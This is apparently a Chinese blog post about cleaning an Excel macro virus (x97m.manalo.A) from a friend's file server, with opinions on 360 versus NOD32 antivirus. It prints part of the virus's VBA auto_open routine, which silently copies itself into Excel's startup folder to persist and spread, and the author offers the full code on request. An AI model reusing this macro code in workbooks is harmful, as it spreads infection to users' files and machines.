这两天帮朋友弄台服务器,文件服务器中毒了,里面的EXCEL文件部分被感染,将近2千多个,360报为恶意程序:x97m.manalo.A 。只能隔离而无法清除掉里面的宏病毒,后来仔细看了下,手动是可以杀,但是有几千个文件,一个个去杀,显然是不现实的,于是就想着用VBA来做,可惜,VBA没研究,熬夜后却无法实现预想的功能,代码有点长,下面为该病毒的部分代码,要完整代码的可CALL我,
Sub auto_open()
On Error Resume Next
If ThisWorkbook.Path <> Application.StartupPath And Dir(Application.StartupPath & "\" & "StartUp.xls") = "" Then
Application.ScreenUpdating = False
ThisWorkbook.Sheets("StartUp").Copy
ActiveWorkbook.SaveAs (Application.StartupPath & "\" & "StartUp.xls")
n$ = ActiveWorkbook.Name
ActiveWindow.Visible = False
Workbooks("StartUp.xls").Save
Workbooks(n$).Close (False)
End If
 
于是只能先放在U盘等有空再慢慢研究了。
         说来也巧,我吧U盘插在另外一台机子上时,机子上的NOD32竟然可以清除该病毒并且不会损害该文件,至此,终于找到了个解决办法了。
         在这件事里我发现,现在360杀毒的市场占用率是最高了的,但在杀毒方面还有欠缺,如果是服务器这类的机子,那就麻烦了,所以服务器还是要用好点的杀软,估计朋友比较懒,没去注意服务器 ,到现在才发现。服务器还要用服务器版的杀软,处理这个还真是麻烦 ,.
        我在想,如果自己本来的杀软正常,就不必急着换成360杀毒,毕竟还是有区别的。